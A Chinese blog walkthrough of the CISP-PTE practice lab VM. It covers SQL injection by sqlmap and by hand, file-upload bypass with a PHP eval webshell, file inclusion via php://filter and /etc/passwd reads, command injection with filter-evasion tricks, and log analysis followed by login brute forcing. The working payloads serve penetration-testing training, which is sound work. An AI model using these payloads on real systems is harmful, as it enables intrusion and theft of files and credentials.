CISP-PTE靶机测试记录

2023-11-22 16:20
文章标签 记录 测试 靶机 pte cisp

本文主要是介绍CISP-PTE靶机测试记录,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

环境搭建

该靶机为互联网公开靶机,网上可自行寻找

pte靶机下载(阿里云盘):https://www.aliyundrive.com/s/L2WFbxSenWK

下载后打开centos文件夹下的.vmx文件即可运行虚拟机
在这里插入图片描述

登录靶机root/admin123

先把网络调通,让虚拟机与物理机为同一网段

查看ip地址,这里用ifconfig查看的话回显太长看不到,可以用ip addr来查看
在这里插入图片描述

虚拟机我配置的是NAT模式,网段为.74

修改ip地址为.74网段地址,上图为修改后的,主要修改ip地址,掩码,网关

修改完成后reboot重启

ip addr
vi /etc/sysconfig/network-scripts/ifcfg-eth0

在这里插入图片描述

sql注入

提供两种解法,一种是手工注入,一种是sqlmap

通过访问不同的端口来切换题目,端口范围81-85

访问虚拟机的81端口,进入答题即可

http://192.168.74.135:81

在这里插入图片描述

id=1时页面有回显的内容,id=2时页面无回显,判断存在注入点

http://192.168.74.135:81/vulnerabilities/fu1.php?id=1
http://192.168.74.135:81/vulnerabilities/fu1.php?id=2

在这里插入图片描述
在这里插入图片描述

sqlmap

这里空格被过滤了,需要加–tamper=space2comment参数,使用/**/替换空格符

首页已经告诉我们key文件路径/tmp/360/key,构造语句如下

python sqlmap.py -u "http://192.168.74.135:81/vulnerabilities/fu1.php?id=1" --risk=3 --tamper=space2comment --file-read /tmp/360/key

在这里插入图片描述

根据图中提示,打开文件保存的路径,查看文件,获取到key
在这里插入图片描述

手工注入

先用order by猜解列数,靶机这里对空格单引号和井号做了过滤

空格使用注释符/**/代替,单引号使用%27代替,井号使用%23代替

有的编码工具可能无法对单引号等特殊字符进行url编码,可以尝试这个网站 https://evilcos.me/lab/xssor/

空白处输入内容后,点击右侧escape即可
在这里插入图片描述

输入order by等于5时页面显示为空白,小于5时页面显示正常,判断列数为4

?id=1%27)/**/order/**/by/**/4%2

在这里插入图片描述
在这里插入图片描述

确认列数后,配合上union语句查询数据,发现union被过滤了,可以通过双写来绕过

order by等于4,可以将想要查询的函数替换掉数字

?id=-1%27)/**/ununionion/**/select/**/1,2,3,4

key在文件里,通过load_file函数来读取文件,文件路径首页已经告诉我们了

这里id改为-1是为了让服务端返回union select的查询结果,因为数据库没有-1列,所以会返回select的结果

?id=-1%27)/**/ununionion/**/select/**/1,2,3,load_file(%27/tmp/360/key%27)%23

在这里插入图片描述

文件上传

提供两种解法,上传一句话拿shell读文件,和php读文件代码,考试时候一句话大概率被过滤

一句话

访问靶机82端口
在这里插入图片描述

进入答题,先写一个一句话木马,命名为1.php

<?php @eval($_POST['cmd']);?>

然后浏览选择1.php文件,burp开启抓包,点击上传

发现抓到的包不太对,不应该是get请求,这里需要在抓包处点击forward(有几率出现)
在这里插入图片描述

获得到post请求,这样包才是我们需要的
在这里插入图片描述

ctrl+r发送到repeater,返回的内容里没啥东西,应该过滤掉了
在这里插入图片描述

经过测试,发现php被过滤了,之前大写绕过(phP)也显示上传成功,但是蚁剑连不上,后缀名可换成php3

同时需要结合修改content-type头(image/gif)和文件内容头校验(GIF89a)即可绕过,也可以把GIF89a写到一句话的开头
在这里插入图片描述

然后蚁剑连接
在这里插入图片描述

在html目录下找到key文件
在这里插入图片描述

php读文件

为了避免一句话被检测到,可以使用php读取文件函数来查看key,php代码如下

<?php readfile('../key.php');?>

然后上传文件并抓包,还是像上面一样,绕过这些过滤点
在这里插入图片描述

然后访问1.php3,页面显示GIF89a Get it!,然后查看源代码即可拿到key
在这里插入图片描述

文件包含

访问靶机83端口
在这里插入图片描述

进入答题,试下最基础的payload,可以访问密码文件

/vulnerabilities/fu1.php?file=../../../../etc/passwd

在这里插入图片描述

题目已经告诉我们key.php在根目录下了,直接尝试读取,发现不显示内容
在这里插入图片描述

这题考的是通过php伪协议读取文件

php://filter/convert.base64-encode/resource=../key.php
php://filter/read=convert.base64-encode/resource=../key.php

在这里插入图片描述

将返回的内容进行base64解码,获取到key
在这里插入图片描述

命令执行

访问靶机84端口
在这里插入图片描述

进入答题,可以输入ip进行测试
在这里插入图片描述

构造语句时发现cat被过滤了,提示有敏感字符

127.0.0.1 | cat

在这里插入图片描述

测试后发现以下命令都可绕过,包括但不限于以下命令

127.0.0.1 | ca\t ../key.php
127.0.0.1 | ca${Z}t ../key.php
127.0.0.1 | head ../key.php
127.0.0.1 | tail ../key.php
127.0.0.1 | less ../key.php

在这里插入图片描述

但是页面显示不完整,通过检查或者查看源代码来查看完整的内容
在这里插入图片描述

日志分析

访问靶机85端口
日志分析了解下就可以了,现在考试已经不考了
在这里插入图片描述

进入答题,即可查看日志文件,也可以右键保存到本地查看
在这里插入图片描述

题目说攻击者可能是172.16.12.12,搜索下日志中该ip的内容

发现内容不少,像是大量的扫描,需要筛选ip为172.16.12.12且响应状态码为200的数据
在这里插入图片描述

推荐一块好用的linux日志分析工具klogg,官网:https://klogg.filimonov.dev/ github:https://github.com/variar/klogg

先筛选出ip为172.16.12.12的内容,再从筛选后的结果里搜索200的内容,发现大量的get请求一个路径,可能是攻击者在暴破,在大量的404请求后,出现200的请求,可能是攻击者暴破成功,暴破后第一个访问成功的页面是/adminlogin.php,应该就是后台路径了
在这里插入图片描述

然后访问后台路径,需要登录,用burp爆破下账号密码
在这里插入图片描述

由于账号密码都不知道,爆破类型选cluster bomb
在这里插入图片描述

两个值未知爆破起来时间太长了,看了下结果是admin/password123,直接自己写个简单的字典跑
在这里插入图片描述

账号密码为admin/password123
在这里插入图片描述

登录成功后查看到key

这篇关于CISP-PTE靶机测试记录的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/411389

相关文章

Spring Boot 配置文件之类型、加载顺序与最佳实践记录

《SpringBoot配置文件之类型、加载顺序与最佳实践记录》SpringBoot的配置文件是灵活且强大的工具,通过合理的配置管理,可以让应用开发和部署更加高效,无论是简单的属性配置,还是复杂... 目录Spring Boot 配置文件详解一、Spring Boot 配置文件类型1.1 applicatio

MySQL INSERT语句实现当记录不存在时插入的几种方法

《MySQLINSERT语句实现当记录不存在时插入的几种方法》MySQL的INSERT语句是用于向数据库表中插入新记录的关键命令,下面:本文主要介绍MySQLINSERT语句实现当记录不存在时... 目录使用 INSERT IGNORE使用 ON DUPLICATE KEY UPDATE使用 REPLACE

Python 中的异步与同步深度解析(实践记录)

《Python中的异步与同步深度解析(实践记录)》在Python编程世界里,异步和同步的概念是理解程序执行流程和性能优化的关键,这篇文章将带你深入了解它们的差异,以及阻塞和非阻塞的特性,同时通过实际... 目录python中的异步与同步:深度解析与实践异步与同步的定义异步同步阻塞与非阻塞的概念阻塞非阻塞同步

Python Dash框架在数据可视化仪表板中的应用与实践记录

《PythonDash框架在数据可视化仪表板中的应用与实践记录》Python的PlotlyDash库提供了一种简便且强大的方式来构建和展示互动式数据仪表板,本篇文章将深入探讨如何使用Dash设计一... 目录python Dash框架在数据可视化仪表板中的应用与实践1. 什么是Plotly Dash?1.1

Spring Boot中定时任务Cron表达式的终极指南最佳实践记录

《SpringBoot中定时任务Cron表达式的终极指南最佳实践记录》本文详细介绍了SpringBoot中定时任务的实现方法,特别是Cron表达式的使用技巧和高级用法,从基础语法到复杂场景,从快速启... 目录一、Cron表达式基础1.1 Cron表达式结构1.2 核心语法规则二、Spring Boot中定

国内环境搭建私有知识问答库踩坑记录(ollama+deepseek+ragflow)

《国内环境搭建私有知识问答库踩坑记录(ollama+deepseek+ragflow)》本文给大家利用deepseek模型搭建私有知识问答库的详细步骤和遇到的问题及解决办法,感兴趣的朋友一起看看吧... 目录1. 第1步大家在安装完ollama后,需要到系统环境变量中添加两个变量2. 第3步 “在cmd中

Spring Retry 实现乐观锁重试实践记录

《SpringRetry实现乐观锁重试实践记录》本文介绍了在秒杀商品SKU表中使用乐观锁和MybatisPlus配置乐观锁的方法,并分析了测试环境和生产环境的隔离级别对乐观锁的影响,通过简单验证,... 目录一、场景分析 二、简单验证 2.1、可重复读 2.2、读已提交 三、最佳实践 3.1、配置重试模板

在 Spring Boot 中使用异步线程时的 HttpServletRequest 复用问题记录

《在SpringBoot中使用异步线程时的HttpServletRequest复用问题记录》文章讨论了在SpringBoot中使用异步线程时,由于HttpServletRequest复用导致... 目录一、问题描述:异步线程操作导致请求复用时 Cookie 解析失败1. 场景背景2. 问题根源二、问题详细分

SpringBoot中整合RabbitMQ(测试+部署上线最新完整)的过程

《SpringBoot中整合RabbitMQ(测试+部署上线最新完整)的过程》本文详细介绍了如何在虚拟机和宝塔面板中安装RabbitMQ,并使用Java代码实现消息的发送和接收,通过异步通讯,可以优化... 目录一、RabbitMQ安装二、启动RabbitMQ三、javascript编写Java代码1、引入

Nginx设置连接超时并进行测试的方法步骤

《Nginx设置连接超时并进行测试的方法步骤》在高并发场景下,如果客户端与服务器的连接长时间未响应,会占用大量的系统资源,影响其他正常请求的处理效率,为了解决这个问题,可以通过设置Nginx的连接... 目录设置连接超时目的操作步骤测试连接超时测试方法:总结:设置连接超时目的设置客户端与服务器之间的连接